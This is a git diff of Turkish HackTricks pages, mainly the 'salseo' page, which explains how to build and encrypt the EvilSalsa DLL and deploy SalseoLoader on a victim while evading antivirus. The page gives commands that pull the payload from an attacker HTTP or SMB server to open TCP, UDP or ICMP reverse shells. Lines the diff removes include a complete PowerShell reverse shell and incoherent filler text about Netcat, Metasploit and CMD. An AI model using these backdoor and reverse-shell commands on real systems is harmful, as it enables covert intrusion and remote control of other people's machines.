-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. {% embed url="https://pentest-tools.com/" %} *** -### [Try Hard Security Group](https://discord.gg/tryhardsecurity) +\### [Try Hard Security Group](https://discord.gg/tryhardsecurity) -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -103,13 +104,13 @@ Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkınd
-[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya genelinde** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur. +**WebSec**, **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern bir** yaklaşımla işletmeleri **dünya genelinde** en son siber güvenlik tehditlerine karşı korur. -WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada olan bir güvenlik şirketidir**. +WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada güvenlik şirketi**dir. -WebSec hakkında başka harika bir şey, WebSec'in becerilerine oldukça güvendiği, becerilerinin en iyi kalitede sonuçları garanti ettiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! +WebSec hakkında başka harika bir şey de, endüstri ortalamasının aksine WebSec'in **becerilerine çok güvendiği**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçları garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! -Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı bir destekçisidir. +Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destekçisidir**. {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} @@ -123,14 +124,14 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı bir deste
-Sıfırdan kahraman olacak şekilde AWS hackleme hakkında bilgi edinin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmak için AWS hackleme konusunda htARTE (HackTricks AWS Red Team Expert) ile öğrenin! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** -* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** adresinden takip edin**. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
diff --git a/SUMMARY.md b/SUMMARY.md index 9547d708c..9afbd9a79 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -353,6 +353,7 @@ * [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md) * [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md) * [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md) + * [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md) * [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md) * [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md) * [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md) diff --git a/backdoors/salseo.md b/backdoors/salseo.md index 9ad2a9649..d6705646a 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -2,37 +2,37 @@
-AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-## Derlemeleri Hazırlama +## Derlemeleri Derleme -Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio** yüklü olması gerekmektedir. +Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir. -Bu projeleri, kullanacak olduğunuz Windows makinenin mimarisi için derleyin (Windows x64 destekliyorsa, onun için derleyin). +Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin). -Visual Studio içinde **sol "Build" sekmesindeki "Platform Target"** seçeneğini kullanarak **mimariyi seçebilirsiniz**. +Mimariyi Visual Studio içinde **sol "Build" sekmesindeki "Platform Target" bölümünden seçebilirsiniz.** -(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\ Properties"** seçeneğine tıklayın) +(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\ Properties"**'e tıklayın) ![](<../.gitbook/assets/image (132).png>) -Ardından, her iki projeyi de derleyin (Build -> Build Solution) (Loglarda yürütülebilir dosyanın yolunu göreceksiniz): +Ardından, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz): ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ## Arka Kapıyı Hazırlama -Öncelikle, **EvilSalsa.dll**'yi kodlamalısınız. Bunun için, python betiği **encrypterassembly.py**'yi kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: +İlk olarak, **EvilSalsa.dll**'yi kodlamalısınız. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: ### **Python** ``` @@ -41,99 +41,32 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. ``` ### Windows -Windows işletim sistemi, birçok farklı backdoor yöntemiyle hedef alınabilir. Bu bölümde, Windows sistemlerine sızma ve backdoor oluşturma tekniklerini ele alacağız. - -#### 1. Netcat - -Netcat, birçok işletim sistemi üzerinde çalışabilen bir ağ aracıdır. Bir backdoor oluşturmak için kullanılabilir. Netcat'i hedef Windows makinesine yüklemek için aşağıdaki adımları izleyin: - -1. Netcat'i indirin ve hedef Windows makinesine kopyalayın. -2. Komut istemini açın ve Netcat'in bulunduğu dizine gidin. -3. Aşağıdaki komutu kullanarak Netcat'i hedef Windows makinesine yükleyin: - - ``` - nc.exe -lvp - ``` - - `` yerine kullanmak istediğiniz bir port numarası belirleyin. - -4. Netcat, hedef Windows makinesinde bir dinleme noktası oluşturacak ve gelen bağlantıları kabul edecektir. - -#### 2. Metasploit Framework - -Metasploit Framework, güvenlik testleri ve sızma testleri için kullanılan popüler bir araçtır. Metasploit Framework kullanarak Windows sistemlere sızma ve backdoor oluşturma işlemlerini gerçekleştirebilirsiniz. Aşağıdaki adımları izleyerek Metasploit Framework'ü kullanabilirsiniz: - -1. Metasploit Framework'ü indirin ve kurun. -2. Metasploit Framework'ün konsol arayüzünü açın. -3. Hedef Windows makinesinin IP adresini ve port numarasını belirleyin. -4. Aşağıdaki komutu kullanarak hedef Windows makinesine bağlanın: - - ``` - use exploit/windows/ - set RHOSTS - set RPORT - exploit - ``` - - `` yerine kullanmak istediğiniz bir exploit adı belirleyin. `` ve `` ise hedef Windows makinesinin IP adresi ve port numarasıdır. - -5. Metasploit Framework, hedef Windows makinesine bağlanacak ve backdoor oluşturacaktır. - -#### 3. PowerShell - -PowerShell, Windows işletim sisteminde yerleşik olarak bulunan bir komut satırı aracıdır. PowerShell'i kullanarak Windows sistemlere sızma ve backdoor oluşturma işlemlerini gerçekleştirebilirsiniz. Aşağıdaki adımları izleyerek PowerShell'i kullanabilirsiniz: - -1. Komut istemini açın ve aşağıdaki komutu kullanarak PowerShell'i başlatın: - - ``` - powershell - ``` - -2. PowerShell'de aşağıdaki komutu kullanarak hedef Windows makinesine bağlanın: - - ``` - $client = New-Object System.Net.Sockets.TCPClient("", ) - $stream = $client.GetStream() - [byte[]]$bytes = 0..65535|%{0} - while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ - $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) - $sendback = (iex $data 2>&1 | Out-String ) - $sendback2 = $sendback + "PS " + (pwd).Path + "> " - $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) - $stream.Write($sendbyte,0,$sendbyte.Length) - $stream.Flush() - } - $client.Close() - ``` - - `` ve `` yerine hedef Windows makinesinin IP adresi ve port numarasını belirleyin. - -3. PowerShell, hedef Windows makinesine bağlanacak ve backdoor oluşturacaktır. +### Windows ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -Tamam, şimdi Salseo işlemini gerçekleştirmek için ihtiyacınız olan her şeye sahipsiniz: **kodlanmış EvilDalsa.dll** ve **SalseoLoader'ın ikili dosyası**. +Şimdi Salseo işlemini gerçekleştirmek için ihtiyacınız olan her şeye sahipsiniz: **şifrelenmiş EvilDalsa.dll** ve **SalseoLoader'ın ikili dosyası.** **SalseoLoader.exe ikili dosyasını makineye yükleyin. Herhangi bir AV tarafından tespit edilmemeleri gerekiyor...** -## **Arka kapıyı çalıştırma** +## **Arka kapıyı çalıştırın** -### **TCP ters kabuk almak (HTTP üzerinden kodlanmış dll indirme)** +### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP aracılığıyla indirme)** -Unutmayın, ters kabuk dinleyici olarak bir nc başlatın ve kodlanmış evilsalsa'yı sunmak için bir HTTP sunucusu çalıştırın. +Ters kabuk dinleyici olarak nc başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayın. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` -### **UDP ters kabuk alma (SMB üzerinden kodlanmış dll indirme)** +### **Bir UDP ters kabuk almak (SMB üzerinden kodlanmış dll indirme)** -Ters kabuk dinleyici olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu (impacket-smbserver) başlatmayı unutmayın. +Ters kabuk dinleyicisi olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu başlatmayı unutmayın (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **ICMP ters kabuk alma (kurbanın içinde kodlanmış dll zaten bulunuyor)** +### **ICMP ters kabuk almak (kurbanın içinde zaten kodlanmış dll bulunmaktadır)** -**Bu sefer ters kabuğu almak için istemci tarafında özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +**Bu sefer ters kabuk almak için istemci tarafında özel bir araca ihtiyacınız olacak. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) #### **ICMP Yanıtlarını Devre Dışı Bırakın:** ``` @@ -142,53 +75,47 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` -#### İstemciyi çalıştırın: - -```bash -./client -``` - -Bu komut, istemci uygulamasını çalıştıracaktır. +#### Müşteriyi çalıştırın: ``` python icmpsh_m.py "" "" ``` -#### Kurbanın içinde, salseo işlemini gerçekleştirelim: +#### Kurbanın içinde, salseo şeyini çalıştıralım: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` -## SalseoLoader'ı ana fonksiyonu dışa aktaran DLL olarak derleme +## SalseoLoader'ı ana işlevi dışa aktaran DLL olarak derleme Visual Studio kullanarak SalseoLoader projesini açın. -### Ana fonksiyondan önce \[DllExport] ekleyin +### Ana işlevden önce ekle: \[DllExport] -![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ### Bu projeye DllExport yükleyin #### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...** -![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi tıklayın (ve açılan pencereyi kabul edin)** +#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi seçin (ve açılan pencereyi kabul edin)** -![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -Proje klasörünüzde **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünecektir. +Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir. ### DllExport'u kaldırın -**Kaldır**'ı tıklayın (evet, garip gelebilir ama bana güvenin, gereklidir) +**Kaldır**'ı seçin (evet, tuhaf ama bana güvenin, gerekli) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) ### Visual Studio'yu kapatın ve DllExport\_configure'ı çalıştırın -Visual Studio'yu **kapatın** +Sadece **Visual Studio'yu kapatın** Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın -**x64**'ü seçin (eğer bir x64 kutusu içinde kullanacaksanız, benim durumumda öyleydi), **System.Runtime.InteropServices**'i (DllExport için Namespace içinde) seçin ve **Uygula**'yı tıklayın +**x64**'ü seçin (eğer x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı seçin (**DllExport için Namespace** içinde) ve **Uygula**'yı seçin ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) @@ -200,25 +127,25 @@ Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı ### Çözümü derleyin -**Çıktı Türü = Sınıf Kitaplığı**'nı seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıktı türü = Sınıf Kitaplığı) +**Çıkış Türü = Sınıf Kitaplığı** seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıkış türü = Sınıf Kitaplığı) ![](<../.gitbook/assets/image (10) (1).png>) -**x64** **platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64) +**x64 platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64) ![](<../.gitbook/assets/image (9) (1) (1).png>) -Çözümü derlemek için: Derle --> Çözümü Derle (Yeni DLL'nin yolunu Çıktı konsolunda göreceksiniz) +Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir) ### Oluşturulan Dll'yi test edin Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın. -Şunu çalıştırın: +Çalıştır: ``` rundll32.exe SalseoLoader.dll,main ``` -Eğer herhangi bir hata görünmüyorsa, muhtemelen işlevsel bir DLL'ye sahipsiniz!! +Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!! ## DLL kullanarak bir kabuk alın @@ -235,13 +162,7 @@ rundll32.exe SalseoLoader.dll,main ``` ### CMD -CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD provides a wide range of commands that can be used to perform various tasks, such as managing files and directories, running programs, configuring system settings, and more. - -CMD is a powerful tool for both legitimate users and hackers. It can be used to execute malicious commands and carry out various hacking activities. Hackers can leverage CMD to create backdoors, gain unauthorized access to systems, execute remote commands, and perform other malicious actions. - -As a hacker, it is important to understand CMD and its capabilities. By mastering CMD commands and techniques, you can effectively exploit vulnerabilities, gain control over systems, and achieve your hacking objectives. However, it is crucial to use this knowledge responsibly and ethically, adhering to legal and ethical boundaries. - -In summary, CMD is a command-line interpreter in Windows that can be used for legitimate purposes as well as for hacking activities. Understanding CMD and its commands is essential for hackers to carry out successful attacks and achieve their objectives. +### CMD ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -252,14 +173,14 @@ rundll32.exe SalseoLoader.dll,main ```
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/cryptography/certificates.md b/cryptography/certificates.md index 6ae857143..8d83dc1d4 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -2,57 +2,57 @@
-AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Sertifika Nedir -Bir **genel anahtar sertifikası**, bir kişinin bir genel anahtara sahip olduğunu kanıtlamak için kriptografi alanında kullanılan bir dijital kimliktir. Sertifika, anahtarın ayrıntılarını, sahibin kimliğini (konu) ve güvenilir bir otoriteden (veren) dijital bir imzayı içerir. Yazılım, vereni güveniyor ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür. +Bir **genel anahtar sertifikası**, birinin genel anahtarı sahibi olduğunu kanıtlamak için kriptografi alanında kullanılan dijital bir kimliktir. Anahtarın ayrıntılarını, sahibin kimliğini (konuyu) ve güvenilir bir otoriteden (veren) dijital imzayı içerir. Yazılım, vereni güvenirse ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür. -Sertifikalar genellikle bir [sertifika otoritesi](https://en.wikipedia.org/wiki/Certificate_authority) (CA) tarafından bir [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem, kullanıcıların doğrudan birbirlerinin anahtarlarını doğruladığı [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dir. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir. +Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CA'lar) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) yöntemidir, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir. ## x509 Ortak Alanlar -### **x509 Sertifikalarında Ortak Alanlar** +### **x509 Sertifikalarındaki Ortak Alanlar** -x509 sertifikalarında, sertifikanın geçerliliği ve güvenliği için birkaç **alan** önemli roller oynar. İşte bu alanların ayrıntıları: +x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik roller oynar. İşte bu alanların ayrıntıları: -- **Sürüm Numarası**, x509 formatının sürümünü belirtir. -- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi'nin (CA) sistemi içinde benzersiz bir şekilde tanımlar ve genellikle iptal takibinde kullanılır. -- **Konu** alanı, sertifikanın sahibini temsil eder ve bir makine, bir birey veya bir kuruluş olabilir. Ayrıntılı kimlik bilgilerini içerir: -- **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar. -- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel ayrıntıları sağlar. -- **Distinguished Name (DN)**, tam konu tanımlamasını kapsar. -- **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi ayrıntılarıyla belirtir ve CA için Konu ile benzer alt alanları içerir. -- **Geçerlilik Süresi**, **Not Before** ve **Not After** zaman damgalarıyla belirtilir ve sertifikanın belirli bir tarihten önce veya sonra kullanılmamasını sağlar. -- Sertifikanın güvenliği için önemli olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik ayrıntıları belirtir. -- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır ve sertifikanın uygulamasını ince ayarlamak için **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Alternatif Konu Adı** ve diğer özellikleri belirtir. +* **Sürüm Numarası**, x509 formatının sürümünü belirtir. +* **Seri Numarası**, sertifikayı benzersiz bir şekilde tanımlar, genellikle iptal takibi için bir Sertifika Otoritesi'nin (CA) sistemi içinde. +* **Konu** alanı sertifikanın sahibini temsil eder, bu bir makine, bir birey veya bir kuruluş olabilir. Detaylı kimlik bilgilerini içerir: +* **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar. +* **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar. +* **Distinguished Name (DN)**, tam konu kimliğini kapsar. +* **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi belirtir, CA için Konu ile benzer alt alanları içerir. +* **Geçerlilik Süresi**, **Önce Değil** ve **Sonra Değil** zaman damgaları ile işaretlenir, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olur. +* Sertifikanın güvenliği için kritik olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir. +* **x509v3 uzantıları**, sertifikanın işlevselliğini artırır, **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ayarlamak için diğer özellikleri belirtir. #### **Anahtar Kullanımı ve Uzantılar** -- **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını, dijital imza veya anahtar şifreleme gibi, tanımlar. -- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır, örneğin TLS sunucusu kimlik doğrulaması için. -- 